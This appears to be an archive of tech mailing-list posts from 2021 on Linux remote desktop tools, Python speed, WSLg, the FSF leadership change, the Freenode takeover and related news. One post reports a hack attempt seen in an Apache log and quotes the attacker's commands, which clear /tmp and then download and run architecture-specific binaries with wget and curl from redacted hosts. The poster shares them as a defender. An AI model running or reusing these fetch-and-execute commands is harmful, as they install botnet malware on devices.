Remote Desktop with Linux: 5 Apps Which You Can Use
by Peter Reutemann 01 Jun '21

01 Jun '21

'With more people working from home than ever before, having the right remote desktop access software has become very important. Maybe you’re helping a family member or colleague with an IT issue, or perhaps you’re working from home. Accessing any system remotely is the need of the day. Generally, a remote desktop connection is defined as any software allowing you to remotely access a device from a geographical distance. In addition to desktop sharing, many tools can now conduct file transfers and offer highly secure remote access. The main purpose of this article is to help Linux users to find out the remote desktop app for usage with the Linux distro which they are using.' -- source: https://linuxiac.com/remote-desktop-with-linux/ NB: Not all are open-source software. But Apache Guacamole looks promising - anyone used it?

The Quest For Faster Python
by Lawrence D'Oliveiro 31 May '21

31 May '21

This report <https://www.theregister.com/2021/05/06/the_quest_for_faster_python/> on Facebook’s new “Cinder” project for speeding up Python code also mentions some other existing alternatives for doing the same. Python is commonly considered slow, yet note this one interesting comparison that was done with JavaScript: In May 2020 AI specialists DLabs tested JavaScript versus Python performance for machine learning. For JavaScript Node 12.16.1 was used, and for Python 3.7.6. The results seem surprising: although JavaScript benefits from an excellent JIT in Node (which uses the V8 engine as used by Google Chrome), Python easily outperformed it. "The learnings from the tests I ran are stark. JavaScript couldn’t get close to Python’s tasks — across the board. JavaScript’s computational performance is still much better than Python’s. However, the maturity of the libraries — which often have underlying modules written in C — means that operations on large datasets can offer so much more than sheer computational power," said developer Krzysztof Miśtal. Which is what Guido van Rossum has long advised: write performance-critical parts as extension modules in C.

One Startup's Quest to Take on Chrome and Reinvent the Web Browser
by Peter Reutemann 31 May '21

31 May '21

'"The web browser is a crucial part of modern life, and yet it hasn't really been revised since the '90s," writes Protocol. "That may be about to change." The browser tab is an underrated thing. Most people think of them only when there are too many, when their computer once again buckles under Chrome's weight. Even the developers who build the tabs — the engineers and designers working on Chrome, Firefox, Brave and the rest — haven't done much to them. The internet has evolved in massive, earth-shaking ways over the last two decades, but tabs haven't really changed since they became a browser feature in the mid '90s. Josh Miller, however, has big plans for browser tabs. Miller is the CEO of a new startup called The Browser Company, and he wants to change the way people think about browsers altogether. He sees browsers as operating systems, and likes to wonder aloud what "iOS for the web" might look like. What if your browser could build you a personalized news feed because it knows the sites you go to? What if every web app felt like a native app, and the browser itself was just the app launcher? What if you could drag a file from one tab to another, and it just worked? What if the web browser was a shareable, synced, multiplayer experience? It would be nothing like the simple, passive windows to the web that browsers are now. Which is exactly the goal. The Browser Company (which everyone on the team just calls Browser) is one of a number of startups that are rethinking every part of the browser stack. Mighty has built a version of Chrome that runs on powerful server hardware and streams the browser itself over the web. Brave is building support for decentralized protocols like IPFS, and experimenting with using cryptocurrencies as a new business model for publishers. Synth is building a new bookmarks system that acts more like a web-wide inbox. Sidekick offers a vertical app launcher and makes tabs easier to organize. "A change is coming," said Mozilla CEO Mitchell Baker. "The question is just the time frame, and what's actually required to make it happen." They have lots of different ideas, but they share a belief that the browser can, and should, be more than it is. "We don't need a new web browser," Miller said. "We need a new successor to the web browser." While he was at the White House, Chief Digital Officer (and Miller's boss) Jason Goldman said something Miller couldn't forget. "Platforms have all the leverage," is how Miller remembers it. "And if you care about the future of the internet, or the way we use our computers, or want to improve any of the things that are broken about technology ... you can't really just build an application. Platforms, whether it's iOS or Windows or Android or Mac OS, that's where all the control is."

Millions Can Now Run Linux GUI Apps in Windows 10
by Peter Reutemann 31 May '21

31 May '21

'"You can now use GUI app support on Windows Subsystem for Linux (WSL)," Microsoft announced this week, "so that all the tools and workflows of Linux run on your developer machine." Bleeping Computer has already tested it running Gnome's file manager Nautilus, the open-source application monitor/task manager Stacer, the backup software Timeshift, and even the game Hedgewars. Though it's currently available only to the millions who've registered for Windows 10 "Insider Preview" builds, it's already drawing positive reviews. "With the Windows Subsystem for Linux, developers no longer need to dual-boot a Windows and Linux system," argues the Windows Central site, "as you can now install all the Linux stuff a developer would need right on top of Windows instead." Finally formally announced at this week's annual Microsoft Build conference, the new functionality runs graphical Linux apps "seamlessly," according to Tech Radar, calling the feature "highly anticipated." Arguably, one of the biggest, and surely the most exciting update to the Windows 10 WSL, Microsoft has been working on WSLg for quite a while and in fact first demoed it at last year's conference, before releasing the preview in April... Microsoft recommends running WSLg after enabling support for virtual GPU (vGPU) for WSL, in order to take advantage of 3D acceleration within the Linux apps.... WSLg also supports audio and microphone devices, which means the graphical Linux apps will also be able to record and play audio. Keeping in line with its developer slant, Microsoft also announced that since WSLg can now help Linux apps leverage the graphics hardware on the Windows machine, the subsystem can be used to efficiently run Linux AI and ML workloads... If WSLg developers are to be believed, the update is expected to be generally available alongside the upcoming release of Windows. Bleeping Computer explains that WSLg launches a "companion system distro" with Wayland, X, and Pulse Audio servers, calling its bundling with Windows 10 "an exciting development as it blurs the lines between Linux and Windows 10, and fans get the benefits of both worlds."' -- source: https://linux.slashdot.org/story/21/05/29/1755229 My personal comment: What's the benefit of Win10?

Free Software Foundation's Executive Director Resigns
by Peter Reutemann 31 May '21

31 May '21

'John Sullivan became the Free Software Foundation's Executive Director back in 2003 (at the age of 26). But now after 18 years, "I've decided to resign my position..." he tweeted Friday, "effective at the end of a transition period." "We'll be sharing further details, including information about that transition, and a few more words, in the coming days." Meanwhile, the Free Software Foundation announced Thursday that it's seeking "a principled, compassionate, and capable leader" to be its new executive director, working remotely out of their Boston office with the Foundation's current staff and board of directors. "The executive director, working with the president, is the public face of the Foundation." The FSF faces many challenges as software becomes increasingly central in the exercise of all fundamental human freedoms, including speech, association, privacy, and movement, and as software owners seek to exploit their control over us to profit at the expense of those freedoms. The executive director has a vital role in enabling the FSF to continue meeting these challenges, starting from the strong base that has been built in the last thirty-five years. The Foundation has recently reached record-high membership numbers and was awarded a perfect score from Charity Navigator, as well as its eighth consecutive four-star rating. Efforts to improve the Foundation's governance are underway. The executive director is the FSF's chief employed officer. The position reports to the president/CEO and the board of directors, and is responsible for management of all other staff, all day-to-day operations, and oversight of the Boston physical office. The successful candidate will have the opportunity to hire for additional key positions in the management team. One interesting item on their list of job responsibilities: Mentor, inspire, coordinate, and manage all FSF staff, building a culture that upholds the FSF's ideological principles and includes accountability, empathy, efficiency, and excellence A blog post on the FSF site also notes that the last month saw 11 new GNU releases. "A number of GNU packages, as well as the GNU operating system as a whole, are looking for maintainers and other assistance: please see https://www.gnu.org/server/takeaction.html#unmaint if you'd like to help."' -- source: https://news.slashdot.org/story/21/05/29/0144223 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

Freenode Apologizes as Prominent Open Source Projects Switch to Libera Chat
by Peter Reutemann 31 May '21

31 May '21

'Ubuntu has announced that, with immediate effect Ubuntu's IRC channels are moving to libera.chat. The move follows a "hostile takeover" of Ubuntu's namespace by Freenode's new management that appears to be happening to many other distributions including Gentoo as well as other projects that have used Freenode [including channels associated with the programming languages Raku, Elixir, and Haskell]. For Ubuntu, and many other FOSS projects, Freenode has long been one of the major official forms of communication... With IRC channels often used for important system advice, and project communication, this becomes not just an inconvenience but even a security problem. For this reason Ubuntu's replacement network, libera.chat has a more clearly open organisational structure than Freenode had before being taken over. "All told, it appears something like 700 irc.freenode.net channels have been seized and re-permissioned," reports The Register, "supposedly because the channels mentioned Libera Chat in violation of Freenode's advertising policy." Wednesday Freenode owner Andrew Lee posted a blog post explaining that "in retrospect, we should have handled the action of closing down channels slightly differently..." "The intent of doing this was not an attempt of a hostile takeover nor hijack like many people are saying. Since certain projects were disrupting their users' ability to chat on freenode via mass kicks, force closures, spam, we decided to enact this policy in those places which were deemed in violation and could cause an issue later... "We believe we should have done this in a much more communicative way to circulate the right message and keep things transparent which of course did not happen. As we move forward I'd like to fully assure you that we will be working in complete commitment to restore projects, namespaces and channels that were closed on accident as a part of this event and we welcome them to use freenode as before as their very own homebase. "Lastly, there are no excuses for this, and I'm willing to admit that I was wrong with Tuesday's move and apologize for the inconvenience that may have caused."' -- source: https://developers.slashdot.org/story/21/05/29/0224246 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

Coalition Including Microsoft, Linux Foundation, GitHub Urge Green Software Development
by Peter Reutemann 31 May '21

31 May '21

'"To help realize the possibility of carbon-free applications, Microsoft, the consultancies Accenture and ThoughtWorks, the Linux Foundation, and Microsoft-owned code-sharing site, GitHub, have launched The Green Software Foundation," reports ZDNet: Announced at Microsoft's Build 2021 developer conference, the foundation is trying to promote the idea of green software engineering - a new field that looks to make code more efficient and reduce carbon emitted from the hardware it's running on... The foundation wants to set standards, best practices and patterns for building green software; nurture the creation of trusted open-source and open-data projects and support academic research; and grow an international community of green software ambassadors. The goal is to help the Information and Communication Technology sector to reduce its greenhouse gas emissions by 45% before 2030. That includes mobile network operators, ISPs, data centers, and all the laptops being snapped up during the pandemic. "We envision a future where carbon-free software is standard - where software development, deployment, and use contribute to the global climate solution without every developer having to be an expert," Erica Brescia, COO of GitHub said in a statement. Microsoft president Brad Smith said "the world confronts an urgent carbon problem." "It will take all of us working together to create innovative solutions to drastically reduce emissions. Microsoft is joining with organizations who are serious about an environmentally sustainable future to drive adoption of green software development to help our customers and partners around the world reduce their carbon footprint." VentureBeat also points out that Microsoft "recently launched a $1 billion Climate Innovation Fund to accelerate the global development of carbon reduction, capture, and removal technologies." But Bloomberg explores the rationale behind the new foundation: Data centers now account for about 1% of global electricity demand, and that's forecast to rise to 3% to 8% in the next decade, the companies said in a statement Tuesday, timed to Microsoft's Build developers conference... While it's tough to determine exactly how much carbon is emitted by individual software programs, groups like the Green Software Foundation examine metrics such as how much electricity is needed, whether microprocessors are being used efficiently, and the carbon emitted in networking. The foundation plans to look at curricula and developing certifications that would give engineers expertise in this space. As with areas like data science and cybersecurity, there will be an opportunity for engineers to specialize in green software development, but everyone who builds software will need at least some background in it, said Jeff Sandquist, a Microsoft vice president for developer relations. "This will be the responsibility of everybody on the development team, much like when we look at security, or performance or reliability," he said. "Building the application in a sustainable way is going to matter."' -- source: https://news.slashdot.org/story/21/05/29/1857226 Cheers, Peter -- Peter Reutemann Dept. of Computer Science University of Waikato, NZ +64 (7) 577-5304 http://www.cms.waikato.ac.nz/~fracpete/ http://www.data-mining.co.nz/

Multi-Architecture Hack Attempt
by Lawrence D'Oliveiro 28 May '21

28 May '21

Saw a line like this pop up in the Apache log on my public-facing server from yesterday: "GET /shell?cd+/tmp;rm+-rf+*;wget+ «redacted»/jaws;sh+/tmp/jaws" I checked, and the file it is trying to fetch and execute still exists. It consists of about a dozen lines, all of this form: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget «redacted»/z0r0.«ext»; curl -O «redacted»/z0r0.«ext»; cat z0r0.«ext» >zeros6x; chmod +x *; ./zeros6x jaws.exploit all differing only in «ext», with values like “mips” and “mpsl” and “ppc”, “arm”, “arm5”, “arm6”, “arm7”, even “m68k”, plus of course “x86” and “i686”.

US Patent Office To Standardize On DOCX
by Lawrence D'Oliveiro 28 May '21

28 May '21

The US Patent Office will henceforth only accept submissions in Microsoft DOCX, aka ISO 29500 format <https://www.theregister.com/2021/05/27/uspto_pdf_charge/>. I agree that trying to do automatic processing of PDF submissions must have been a pain, but why not accept ODF, aka ISO 26300, as well, or even as the preferred format? It should be easier to deal with.

Why Does Windows Need To Reboot For Updates?
by Lawrence D'Oliveiro 28 May '21

28 May '21

Came across this blog posting from a Microsoft employee <https://devblogs.microsoft.com/oldnewthing/20151211-00/?p=92501> from a few years ago, which manages to address, yet avoid, the issue of Windows needing reboots to properly apply updates. Note the question: “Hasn’t the problem of updates being partially installed until the next reboot already been solved by changes in Windows?” The answer begins: This is, to a large extent, true. Modern versions of Windows use Component-Based Servicing (CBS). This technology makes sure that new Windows components, and new versions of existing components, are installed atomically. In other words, if it is possible to install or update a component without a reboot, CBS does so. If it is not possible (because one or more files are in use, or because the component requires more complicated setup), then the entire installation of the component is automatically suspended until the next reboot. However, it then continues to point out that many subsystems do not use this “CBS” technology, notable ones being drivers and Microsoft Office. And also remember, it doesn’t seem possible to replace components being, by running services. Can’t you fix this by stopping and restarting the affected services? On Linux, this is the obvious solution. Yet it never even occurs to this Microsoft engineer: Second, even setting the “Does the update do the right thing before the reboot?” problem aside, CBS itself creates another problem in this scenario. Since many Windows updates wind up getting their processing delayed until the reboot, that reboot itself can take longer (since all those pending operations then get performed). And in an environment where The Machine Simply Must Work, this means that the consequences of an accidental/unplanned reboot can be even worse.
